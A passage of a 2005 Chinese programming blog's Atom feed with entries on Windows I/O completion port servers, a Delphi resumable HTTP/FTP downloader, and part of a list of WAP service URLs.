		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-27T18:04:41+08:00</updated>
	  <published>2005-09-27T18:04:41+08:00</published>
		  <summary type="html"><![CDATA[一、运行程序 
<P>开发环境mdac2.7,vc6 sp5,win2000</P>
<P>如果你的mdac版本是旧请升级或者重新编译。服务器端的数据库access，用ado来操作的。客户端用csv格式的文件系统的。将SMSServer和SMSClient放在同一个机器上，因为编译时我将IP设置成了127.0.0.1,SMSServerDB与SMSServer放在同一个目录。源代码是按1字节对其编译，静态连接的,程序并没有在网络负担大，SOCKET连接数量大的条件下测试过。</P>
<P>二、数据结构和通讯协议及处理实现</P>
<P>服务器端是采用完成端口异步模式，客户端是同步的SOCKET类实现的。</P>
<P>服务器端有侦听线程，工作线程组成。</P>
<P>typedef struct _SessionPack<BR>{<BR>WORD CommandID; // 命令ID<BR>WORD DataLength; // Data数据长度<BR>WORD DataItems; // 数据区数据项数，即Data中有效的结构体的个数<BR>char Data[1]; // 数据区<BR>}SESSIONPACK,*PSESSIONPACK;</P>
<P>前三个字段相当于包头，Data是有效数据首地址。根据需要分配。结构体定义</P>
<P>在packet.h文件中，协议定义在protocol.h文件中。一个SessionPack不要超过4k。CIocpFrame是完成端口的封装类，业务逻辑都在CIocpFrame::Proecssjob中处理，其中几个数据库操作的函数在server.h中。PER_HANDLE_DATA,PER_IO_OPERATION_DATA这两个结构详细请见完成端口。</P>
<P>客户端发送大量数据处理，例如，上传通讯录</P>
<P>for(int j=0;j&lt;nGroup;j++)<BR>{<BR>　　Sleep(100);<BR>　　if(j!=nGroup-1)//还没有到最后一组<BR>　　{<BR>　　　　PSESSIONPACK pPack=(PSESSIONPACK)new 　　　　char[sizeof(SESSIONPACK)+sizeof(LINK)*MAXLINK-1];//一组数据分配大约4k空间一起发送<BR>　　　　PLINK pData=(PLINK)pPack-&gt;Data;<BR>　　　　memset(pPack,0,sizeof(SESSIONPACK)+sizeof(LINK)*MAXLINK-1);//MAXLINK是LINK结构体个数<BR>　　　　pPack-&gt;DataLength=sizeof(LINK)*MAXLINK;<BR>　　　　pPack-&gt;DataItems=MAXLINK;//告诉服务器有几个LINK要处理<BR>　　　　pPack-&gt;CommandID=COMMAND_UPLOAD_LINK;<BR>　　　　for(int i=0;i&lt;MAXLINK;i++)<BR>　　　　{<BR>　　　　　　file://往pData中赋值 </P>
<P>　　　　　　file://下一条数据<BR>　　　　　　pData++;<BR>　　　　}<BR>　　　　g_pClient-&gt;Send(pPack,sizeof(SESSIONPACK)+sizeof(LINK)*MAXLINK-1,0);<BR>　　　　delete pPack;<BR>　　}//ifj<BR>　　else//最后一组可能不到MAXLINK个LINK结构体<BR>　　{<BR>　　　　int iLeft=parser.m_nRows-j*MAXLINK;<BR>　　　　PSESSIONPACK pPack=(PSESSIONPACK)new char[sizeof(SESSIONPACK)+sizeof(LINK)*iLeft-1];<BR>　　　　PLINK pData=(PLINK)pPack-&gt;Data;<BR>　　　　memset(pPack,0,sizeof(SESSIONPACK)+sizeof(LINK)*iLeft-1);<BR>　　　　pPack-&gt;DataLength=sizeof(LINK)*iLeft;<BR>　　　　pPack-&gt;DataItems=iLeft;<BR>　　　　pPack-&gt;CommandID=COMMAND_UPLOAD_LINK;<BR>　　　　for(int i=0;i&lt;iLeft;i++)<BR>　　　　{<BR>　　　　　　file://往pData中赋值 </P>
<P>　　　　　　file://下一条数据<BR>　　　　　　pData++;<BR>　　　　}<BR>　　　　g_pClient-&gt;Send(pPack,sizeof(SESSIONPACK)+sizeof(LINK)*iLeft-1,0);<BR>　　　　delete pPack;<BR>　　　}<BR>}</P>
<P>//服务器接受数据</P>
<P>PLINK pBody;<BR>pBody=(PLINK)pPack-&gt;Data;<BR>for(int i=0;i&lt;DataItem;i++)<BR>{<BR>　　SaveLink(pBody);//往数据库插纪录<BR>　　pBody++;<BR>}<BR>memset(pConText,0,sizeof(PER_IO_OPERATION_DATA));//这句话是否有问题?<BR>pConText-&gt;DataBuf.len=DATA_BUFSIZE;<BR>pConText-&gt;DataBuf.buf=pConText-&gt;Buffer;<BR>pConText-&gt;OperationType=RECV_POST;<BR>Flags = 0;<BR>if (WSARecv(sClient, &(pConText-&gt;DataBuf), 1, &RecvBytes, &Flags,<BR>&(pConText-&gt;Overlapped), NULL) == SOCKET_ERROR)<BR>{<BR>　　if (WSAGetLastError() != ERROR_IO_PENDING)<BR>　　　dwRet=PROCESS_FAIL;<BR>} </P>
<P></P>
<P>服务器向客户端发送大量数据 例如 下载通讯录</P>
<P>原理与客户端大量发送类似，不过在服务器发送大最后一个包时要将命令字设置成COMMAND_DOWNLOAD_LINK_EXIT通知客户端数据发送结束，请不要在接收了。客户端请求时需将本地数据的最大id存放在有效数据区以告诉服务器，避免重复查询。</P>
<P>三、完成端口介绍</P>
<P>主要用到3个函数和一个OVERLAPPED的结构</P>
<P>每当有一个连接上来，就将它与完成端口关联，完成端口实际上就是一个重叠IO的队列，当队列中某一个对象有信号时，GetQueuedCompletionStatus就返回了，并将这个重叠IO及与之对应的单据柄数据传出，在我的程序里这个单句柄数据就是客户端套接字，这时你就可以对缓冲区数据操作了。</P>
<P><BR>HANDLE CreateIoCompletionPort(<BR>HANDLE FileHandle,//用于完成端口的设备的句柄<BR>HANDLE ExistingCompletionPort,//完成端口句柄，如果是NULL则生成一个新的<BR>ULONG_PTR CompletionKey,//单据柄数据<BR>DWORD NumberOfConcurrentThreads//允许最大的工作线程的数量<BR>);//这个函数主要的功能就是生成完成端口，或者将某句柄与完成端口关联</P>
<P>BOOL GetQueuedCompletionStatus(HANDLE CompletionPort,//需要监视的完成端口句柄<BR>LPDWORD lpNumberOfBytes,//实际传输的字节<BR>PULONG_PTR lpCompletionKey,//单句柄数据<BR>LPOVERLAPPED* lpOverlapped,//一个指向伪造的重叠IO的指针，大小取决于你的定义<BR>DWORD dwMilliseconds//等待多少秒<BR>);</P>
<P>这个函数返回有几种可能，某个重叠IO发生了数据传输，或者客户端CloseSocket,或者其他原因导致完成端口失败，或者服务器调用PostQueuedCompletionStatus主动要求结束。以下是我在程序里的判断代码。</P>
<P>bSuccess=GetQueuedCompletionStatus(g_hCompPort,<BR>&dwNumBytes, (DWORD*)&PerHandleData, (OVERLAPPED**)&ConText, INFINITE);</P>
<P>if(!bSuccess)<BR>{<BR>　　file://客户端断开连接<BR>　　if(PerHandleData!=NULL)<BR>　　if(dwNumBytes == 0&&PerHandleData-&gt;pIOContext-&gt;OperationType==RECV_POST)<BR>　　{<BR>　　　　pIocpFrame-&gt;CloseClient(PerHandleData); <BR>　　　　continue;<BR>　　}<BR>}</P>
<P>if(bSuccess)<BR>　　if(PerHandleData==NULL&&dwNumBytes==0)<BR>　　{<BR>　　　　file://工作线程被通知结束<BR>　　　　SetEvent(g_ThreadHandles[pos]);<BR>　　　 return 0;<BR>　　}</P>
<P><BR>BOOL PostQueuedCompletionStatus(<BR>HANDLE CompletionPort,<BR>DWORD dwNumberOfBytesTransferred,<BR>ULONG_PTR dwCompletionKey,<BR>LPOVERLAPPED lpOverlapped<BR>);<BR>我是用这个函数来告诉工作线程给我马上停止工作。你也可以用这个函数发送其他字定义消息到完成端口，不过调用这个函数要记得先关闭所有客户端。程序中我的客户端套接字保存在链表中的是由ctx开头的几个函数处理的。</P>
<P>四、结束语</P>
<P>该程序是我学习完成端口的一个总结，源代码变量函数结构体较多注释少可能不好阅读，使用完成端口设计程序关键是对完成端口的几个函数的理解。主要用于文件上传下载服务。网关，c/s的程序中也可以使用，缺陷是不能移植到unix平台下。</P>
<P>参考资料：platformsdk 中iocp的例子，msdn，windows网络程序设计</P>
<P><A href="http://bluecrest.nease.net/article/network/iocp/SMSClient.rar">客户端exe</A> <A href="http://bluecrest.nease.net/article/network/iocp/SMSServer.rar">服务端exe</A> <A href="http://bluecrest.nease.net/article/network/iocp/SMSServerDb.rar">服务端数据库</A> <A href="http://bluecrest.nease.net/article/network/iocp/source.rar">原码</A></P>
<P>摘:http://dev.csdn.net/develop/article/16/16630.shtm</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=61" /> 
	  <id>http://www.openx.cn/default.asp?id=61</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[完成端口]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-27T18:02:16+08:00</updated>
	  <published>2005-09-27T18:02:16+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ArticleContent1_ArticleContent1_lblContent>&nbsp;
<P>完成端口模式</P>
<P>完成端口是到目前为止最为复杂的输入输出模式。然而，当一个应用不得不同时处理大量的socket时，它也提供了使系统性能达到最佳的可能性。不幸的是，完成端口只能用在windows NT和windows2000上。由于完成端口被设计得极为复杂，它应该成为程序员的青年禁卫军，只有在被迫面对几百甚至几千个并发的socket、你又希望在添加CPU后可以获得更好的scale时，才被派上战场。关于完成端口，最重要的是记住这一点：如果你为winnt/2000开发处理大量socket I/O 请求的高性能服务，它是你的最佳选择（比如，Web服务）。</P>
<P>本质上完成端口模式要求你创建一个win32完成端口对象来管理重叠i/o请求，用一定数量的线程来处理已完成的重叠i/o请求.注意，事实上完成端口是win32,winnt,win2000的内建的，它能操作的不仅仅是socket句柄。但是，本章将把讨论范围局限于在socket句柄上下文中，如何利用完成端口的优势。<BR>在开始使用完成端口模式之前，我们必须创建一个完成端口对象，用它来管理任意数量的socket句柄上的多I/O请求。完成这一动作需要调用CreateIoCompletionPort函数，它具有如下形式的定义：<BR>HANDLE CreateIoCompletionPort(<BR>&nbsp;HANDLE FileHandle,<BR>&nbsp;HANDLE ExistingCompletionPort,<BR>&nbsp;DWORD CompletionKey,<BR>&nbsp;DWORD NumberOfConcurrentThreads<BR>);</P>
<P>在了解参数的细节之前，要明白这个函数事实上有两个目的：<BR>&nbsp;。创建一个完成端口对象<BR>&nbsp;。把一个句柄关联到完成对口上。<BR>&nbsp;<BR>开始创建完成端口时，我们唯一感兴趣的参数是NumberOfConcurrentThreads，前面的三个参数可以忽略不计。参数NumberOfConcurrentThreads用来指定在一个完成端口上可以并发的线程数量。理想的情况是，一个处理器上只运行一个线程，这样可以避免线程上下文切换的开销。如果这个参数的值为0，那就是告诉系统线程数与处理器数相同。我们可以用下面的代码来创建I/O完成端口。<BR>CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE,<BR>&nbsp;NULL, 0, 0);<BR>这段代码返回一个句柄，在关联socket句柄时，它用来标识这里的完成端口。</P>
<P>工作者线程和完成端口</P>
<P>成功的创建了完成端口对象，就可以把socket句柄（注意，原文用的是handles，复数）关联上去。可是在做这一步之前，还有一件必须完成的工作：创建一个或多个工作者线程，当socketI/O 请求被投递到完成端口对象时，这些线程为完成端口服务。说到这里，你可能想知道应该创建多少个线程来为完成端口服务。事实上这是完成端口模式更为复杂的一面，因为这需要你通盘考虑整个应用的设计，才能决定用多少个线程来为I/O请求服务。注意到这一点是很重要的：在调用CreateIoCompletionPort时指定的并发线程的个数，和创建的工作者线程的个数是有区别的，<BR>或者说，它们不是一回事。我们在前面推荐的做法，是调用CreateIoCompletionPort时指定每个处理器上只有一个线程，以避免线程上下文切换的开销。CreateIoCompletionPort的参数NumberOfConcurrentThreads明确的告诉系统，每次只允许n个线程可以操作完成端口。如果你为一个完成端口创建的工作者线程比n多，那一次只能有n个线程可以进行操作（确切地说，在一小段时间内，系统激活的线程有可能超过n，但系统会很快将这个数量减小到n）。你可能会觉得奇怪：我明明已经在CreateIoCompletionPort中指定了一个值，干吗要创建比它多的工作者线程。<BR>正如我前面提到的，这取决于你的整个应用的设计。如果一个工作者线程调用sleep、WaitForSingleObject之类的函数，然后，它挂了，另一个线程就可以取代它的位置。或者说，你总是希望有足够多可以执行的线程，来满足你在CreateIoCompletionPort指定的那一个数字。这样，如果你预见到工作者线程可能阻塞，你就找到了一个理由，来创建比CreateIoCompletionPort的参数NumberOfConcurrentThreads多的工作者线程。</P>
<P>
<TABLE cellSpacing=3 cellPadding=3 width="100%" bgColor=#eeeeee border=0>
<TBODY>
<TR>
<TD align=middle bgColor=#003399 height=16><FONT color=#ffffff>出处</FONT></TD>
<TD>&nbsp; <SPAN id=ArticleTitle1_ArticleTitle1_lblSource>windows 网络编程（北大影印版）</SPAN></TD></TR></TBODY></TABLE></P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=60" /> 
	  <id>http://www.openx.cn/default.asp?id=60</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[断点续传]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-27T14:41:11+08:00</updated>
	  <published>2005-09-27T14:41:11+08:00</published>
		  <summary type="html"><![CDATA[HTTP协议的：<BR>procedure&nbsp;TForm1.HttpDownLoad(aURL,&nbsp;aFile:&nbsp;string;&nbsp;bResume:&nbsp;Boolean);<BR>var<BR>&nbsp;&nbsp;tStream:&nbsp;TFileStream;<BR>begin&nbsp;//Http方式下载<BR>&nbsp;&nbsp;if&nbsp;FileExists(aFile)&nbsp;then&nbsp;//如果文件已经存在<BR>&nbsp;&nbsp;&nbsp;&nbsp;tStream&nbsp;:=&nbsp;TFileStream.Create(aFile,&nbsp;fmOpenWrite)&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;tStream&nbsp;:=&nbsp;TFileStream.Create(aFile,&nbsp;fmCreate);<BR><BR>&nbsp;&nbsp;if&nbsp;bResume&nbsp;then&nbsp;//续传方式<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Request.ContentRangeStart&nbsp;:=&nbsp;tStream.Size&nbsp;-&nbsp;1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;tStream.Position&nbsp;:=&nbsp;tStream.Size&nbsp;-&nbsp;1;&nbsp;//移动到最后继续下载<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Head(aURL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Request.ContentRangeEnd&nbsp;:=&nbsp;IdHTTP1.Response.ContentLength;<BR>&nbsp;&nbsp;end&nbsp;else&nbsp;//覆盖或新建方式<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Request.ContentRangeStart&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;end;<BR><BR><BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Get(aURL,&nbsp;tStream);&nbsp;//开始下载<BR>&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;tStream.Free;<BR>&nbsp;&nbsp;end;<BR>end;<BR>这里我们同样使用IdHTTP的Get过程，函数的aURL是网址，aFile是保存的文件名，bResume确定是否续传，需要注意的就是续传方式时的代码：<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Request.ContentRangeStart&nbsp;:=&nbsp;tStream.Size&nbsp;-&nbsp;1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;tStream.Position&nbsp;:=&nbsp;tStream.Size&nbsp;-&nbsp;1;&nbsp;//移动到最后继续下载<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Head(aURL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Request.ContentRangeEnd&nbsp;:=&nbsp;IdHTTP1.Response.ContentLength;<BR>第一行我们将下载开始位置设置为读入文件流的末尾，也就是设置为已经下载了的那部分文件的大小，第二行我们将文件流本身也指向自己的末尾，第三行我们通过Head过程得到网址头信息，在第四行将头信息的文件总大小赋值给下载的结束的位置，至于这里为什么第一行和第二行代码最后都要-1，我当时没有加-1的时候在续下载一个完整的已经下载的文件的时候总是提示错误，最后跟踪IdHTTP的代码发现他在处理下载范围的时候如果开始的位置和结束位置一样时会引发将浮点数转为整数的错误，因而这里加上-1防止这种错误发生，另外一种处理方法就是比较如果开始位置等于结束位置就退出也是可以的。<BR>再来看FTP协议的下载过程：<BR>procedure&nbsp;TForm1.FtpDownLoad(aURL,&nbsp;aFile:&nbsp;string;&nbsp;bResume:&nbsp;Boolean);<BR>var<BR>&nbsp;&nbsp;tStream:&nbsp;TFileStream;<BR>&nbsp;&nbsp;sName,&nbsp;sPass,&nbsp;sHost,&nbsp;sPort,&nbsp;sDir:&nbsp;string;<BR>begin&nbsp;//ftp方式下载<BR>&nbsp;&nbsp;if&nbsp;FileExists(aFile)&nbsp;then&nbsp;//建立文件流<BR>&nbsp;&nbsp;&nbsp;&nbsp;tStream&nbsp;:=&nbsp;TFileStream.Create(aFile,&nbsp;fmOpenWrite)&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;tStream&nbsp;:=&nbsp;TFileStream.Create(aFile,&nbsp;fmCreate);<BR><BR>&nbsp;&nbsp;GetFTPParams(aURL,&nbsp;sName,&nbsp;sPass,&nbsp;sHost,&nbsp;sPort,&nbsp;sDir);<BR>&nbsp;&nbsp;with&nbsp;IdFTP1&nbsp;do<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Connected&nbsp;then&nbsp;Disconnect;&nbsp;//重新连接<BR>&nbsp;&nbsp;&nbsp;&nbsp;Username&nbsp;:=&nbsp;sName;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Password&nbsp;:=&nbsp;sPass;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Host&nbsp;:=&nbsp;sHost;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Port&nbsp;:=&nbsp;StrToInt(sPort);<BR>&nbsp;&nbsp;&nbsp;&nbsp;Connect;<BR>&nbsp;&nbsp;except<BR>&nbsp;&nbsp;&nbsp;&nbsp;exit;<BR>&nbsp;&nbsp;end;<BR><BR>&nbsp;&nbsp;IdFTP1.ChangeDir(sDir);&nbsp;//改变目录<BR>&nbsp;&nbsp;BytesToTransfer&nbsp;:=&nbsp;IdFTP1.Size(aFile);<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;bResume&nbsp;then&nbsp;//续传<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tStream.Position&nbsp;:=&nbsp;tStream.Size;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IdFTP1.Get(aFile,&nbsp;tStream,&nbsp;True);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IdFTP1.Get(aFile,&nbsp;tStream,&nbsp;False);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;tStream.Free;<BR>&nbsp;&nbsp;end;<BR>end;<BR>这个过程中我们就用到了GetFTPParams()函数将网址的用户名、密码、主机地址、端口、路径等信息分离出来，IdFTP利用这些信息登陆服务器并到相应目录，最后利用Get()过程就很容易实现下载了，它的续传就比HTTP协议要简单很多，因为IdFTP的Get()本身就支持续传。<BR>这里我简单穿插一点的内容，一个服务器是否支持断点续传，我们可以通过发送"REST&nbsp;1"FTP指令来检测，如果返回350则表示支持。<BR>最后我们根据网址来确定使用什么协议来下载：<BR>function&nbsp;TForm1.GetProt(aURL:&nbsp;string):&nbsp;Byte;<BR>begin&nbsp;//检测下载的地址是http还是ftp<BR>&nbsp;&nbsp;Result&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;if&nbsp;Pos('http',&nbsp;LowerCase(aURL))&nbsp;=&nbsp;1&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;1;&nbsp;//http协议<BR>&nbsp;&nbsp;if&nbsp;Pos('ftp',&nbsp;LowerCase(aURL))&nbsp;=&nbsp;1&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;2;&nbsp;//ftp协议<BR>end;<BR>这个函数根据网址返回整数供我们使用。<BR>procedure&nbsp;TForm1.MyDownLoad(aURL,&nbsp;aFile:&nbsp;string;&nbsp;bResume:&nbsp;Boolean);<BR>begin<BR>&nbsp;&nbsp;case&nbsp;GetProt(aURL)&nbsp;of<BR>&nbsp;&nbsp;&nbsp;&nbsp;0:&nbsp;ShowMessage('不可识别的地址！');<BR>&nbsp;&nbsp;&nbsp;&nbsp;1:&nbsp;HttpDownLoad(aURL,&nbsp;aFile,&nbsp;bResume);<BR>&nbsp;&nbsp;&nbsp;&nbsp;2:&nbsp;FtpDownLoad(aURL,&nbsp;aFile,&nbsp;bResume);<BR>&nbsp;&nbsp;end;<BR>end;<BR>这个过程就利用GetProt()函数返回的整数执行相应的协议下载过程。<BR>（2）&nbsp;接下来看看每个按钮的代码，有了上面的函数，按钮的代码就简单多了：<BR>下载按钮：<BR>procedure&nbsp;TForm1.Button1Click(Sender:&nbsp;TObject);<BR>var<BR>&nbsp;&nbsp;aURL,&nbsp;aFile:&nbsp;string;<BR>begin<BR>&nbsp;&nbsp;aURL&nbsp;:=&nbsp;ComboBox1.Text;&nbsp;//下载地址<BR>&nbsp;&nbsp;aFile&nbsp;:=&nbsp;GetURLFileName(aURL);&nbsp;//得到文件名，例如"demo.exe"<BR>&nbsp;&nbsp;if&nbsp;FileExists(aFile)&nbsp;then<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;MessageDlg('文件已经存在，是否续传？',&nbsp;mtConfirmation,&nbsp;mbYesNoCancel,&nbsp;0)&nbsp;of<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mrYes:&nbsp;MyDownLoad(aURL,&nbsp;aFile,&nbsp;True);&nbsp;//续传<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mrNo:&nbsp;MyDownLoad(aURL,&nbsp;aFile,&nbsp;False);&nbsp;//覆盖<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mrCancel:&nbsp;Exit;&nbsp;//取消<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;end&nbsp;else&nbsp;MyDownLoad(aURL,&nbsp;aFile,&nbsp;False);&nbsp;//建立新文件下载<BR>end;<BR>MessageDlg()函数弹出一个对话框让用户选择续传、覆盖还是取消下载。<BR>中断按钮：<BR>procedure&nbsp;TForm1.Button2Click(Sender:&nbsp;TObject);<BR>begin<BR>&nbsp;&nbsp;AbortTransfer&nbsp;:=&nbsp;True;<BR>end;<BR>前面忘了介绍，所以这里大家看不明白，AbortTransfer是我们定义的一个私有变量，在开始下载的时候将它设为False，下载的过程中随时监测这个变量，一旦变为True就利用IdHTTP的Disconnect和IdFTP1的Abort方法中断下载，如果没有下载完就中断，那程序的目录中就会有一个下载不完整的程序或者其他东西，下次再下载的时候我们就可以选择续传来完成剩下的下载过程。<BR>procedure&nbsp;TForm1.IdHTTP1WorkBegin(Sender:&nbsp;TObject;&nbsp;AWorkMode:&nbsp;TWorkMode;<BR>&nbsp;&nbsp;const&nbsp;AWorkCountMax:&nbsp;Integer);<BR>begin<BR>&nbsp;&nbsp;AbortTransfer&nbsp;:=&nbsp;False;<BR>……<BR>end;<BR>在IdHTTP1和IdFTP的OnWorkBegin事件我们就将AbortTransfer设置为False了，在他们的Work事件中，我们检测AbortTransfer变量来完成是否中断的操作。<BR>procedure&nbsp;TForm1.IdHTTP1Work(Sender:&nbsp;TObject;&nbsp;AWorkMode:&nbsp;TWorkMode;<BR>&nbsp;&nbsp;const&nbsp;AWorkCount:&nbsp;Integer);<BR>begin<BR>&nbsp;&nbsp;if&nbsp;AbortTransfer&nbsp;then<BR>&nbsp;&nbsp;begin&nbsp;//中断下载<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdHTTP1.Disconnect;<BR>&nbsp;&nbsp;&nbsp;&nbsp;IdFTP1.Abort;<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;ProgressBar1.Position&nbsp;:=&nbsp;AWorkCount;<BR>&nbsp;&nbsp;Application.ProcessMessages;<BR>end;<BR>（3）&nbsp;最后是连接状态等信息的代码：<BR>在IdHTTP和IdFTP的OnStatus事件写入：<BR>procedure&nbsp;TForm1.IdHTTP1Status(ASender:&nbsp;TObject;&nbsp;const&nbsp;AStatus:&nbsp;TIdStatus;<BR>&nbsp;&nbsp;const&nbsp;AStatusText:&nbsp;string);<BR>begin<BR>&nbsp;&nbsp;ListBox1.ItemIndex&nbsp;:=&nbsp;ListBox1.Items.Add(AStatusText);<BR>end;<BR>因为IdHTTP和IdFTP在OnWork、OnStatus等事件上执行的代码都是一样的，所以我们只用写其中一个的代码，然后另外一个选择相同的事件就OK了。<BR>&nbsp;<BR>图8.3.4<BR>3.全部代码写完收工，F9运行一下看看效果，是不是能断点续传。<BR>【程序小结】<BR>本程序主要的功能由IdHTTP和IdFTP组件完成，主要掌握他们的Get过程实现断点续传的方法以及字符串的分析分解方法，这里我们同样使用了流格式，不过这次不是内存流而是文件流。通过本例，读者应该初步掌握调试程序时断点的使用，事件代码的共用等。<BR>【作者后话】<BR>在写完这篇文章不久，作者偶然间察看了Indy系列组件的帮助，发现一个封装了分析URL结构的类TIdURI，在IdURI单元，这个类可以很轻松的将我们上面的GetFTPParams()函数的功能实现，例如：<BR>var<BR>&nbsp;&nbsp;URI:&nbsp;TIdURI;<BR>begin<BR>&nbsp;&nbsp;URI&nbsp;:=&nbsp;TIdURI.Create(aURL);&nbsp;//建立<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;sProtocol&nbsp;:=&nbsp;URI.Protocol;&nbsp;//协议<BR>&nbsp;&nbsp;&nbsp;&nbsp;sHost&nbsp;:=&nbsp;URI.Host;&nbsp;//主机<BR>&nbsp;&nbsp;&nbsp;&nbsp;//……等等都可以通过URI的属性得到<BR>&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;URI.Free;<BR>&nbsp;&nbsp;end;<BR>end;<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=59" /> 
	  <id>http://www.openx.cn/default.asp?id=59</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[CDMA联通公司WAP合作协议模板]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-25T17:44:48+08:00</updated>
	  <published>2005-09-25T17:44:48+08:00</published>
		  <summary type="html"><![CDATA[业务名称 英文代码 入口URL<BR>翻转棋 FZQ <A href="http://wap.migasia.cn/hg/reversi.php">http://wap.migasia.cn/hg/reversi.php</A><BR>坦克奇兵 TKQB <A href="http://wap.migasia.cn/hg/tanks.php">http://wap.migasia.cn/hg/tanks.php</A><BR>健康常识 JKCS <A href="http://browse.coolyoung.com.cn/dlfun/newswap/NewsList.jsp?BT=JKCS&ATP=13&Dir=2438">http://browse.coolyoung.com.cn/dlfun/newswap/NewsList.jsp?BT=JKCS&ATP=13&Dir=2438</A><BR>美丽人生 MLRS <A href="http://browse.coolyoung.com.cn/dlfun/CataList.jsp?BT=MLRS&ATP=13&DIR=2439">http://browse.coolyoung.com.cn/dlfun/CataList.jsp?BT=MLRS&ATP=13&DIR=2439</A><BR>碧波娇娃 BBJW <A href="http://browse.coolyoung.com.cn/cy/BBJW.jsp">http://browse.coolyoung.com.cn/cy/BBJW.jsp</A><BR>致胜贴士 ZSTS1 <A href="http://browse.coolyoung.com.cn/dlfun/CataList.jsp?BT=ZSTS&ATP=13&DIR=2057">http://browse.coolyoung.com.cn/dlfun/CataList.jsp?BT=ZSTS&ATP=13&DIR=2057</A><BR>爱图如梦 ATRM <A href="http://browse.coolyoung.com.cn/cy/ATRM.jsp">http://browse.coolyoung.com.cn/cy/ATRM.jsp</A><BR>新春有礼 XCYL <A href="http://browse.coolyoung.com.cn/cy/JCMT.jsp">http://browse.coolyoung.com.cn/cy/JCMT.jsp</A><BR>浪漫情人 NMQR <A href="http://browse.coolyoung.com.cn/cy/js/lmqr.jsp">http://browse.coolyoung.com.cn/cy/js/lmqr.jsp</A><BR>无锡风情 WXFQ <A href="http://211.90.119.22/hswap/help/mcwx.wml">http://211.90.119.22/hswap/help/mcwx.wml</A><BR>聆听女人心 LTNRX1 <A href="http://dlfun.coolyoung.com.cn/dl/PicInfoList.jsp?BT=JQTL&ATP=28&Dir=5979&BK=JQTL&PT=&IN=&PARA=3&PT=0:0000&BK=JQTL.jsp">http://dlfun.coolyoung.com.cn/dl/PicInfoList.jsp?BT=JQTL&ATP=28&Dir=5979&BK=JQTL&PT=&IN=&PARA=3&PT=0:0000&BK=JQTL.jsp</A><BR>内衣秀 NYX1 <A 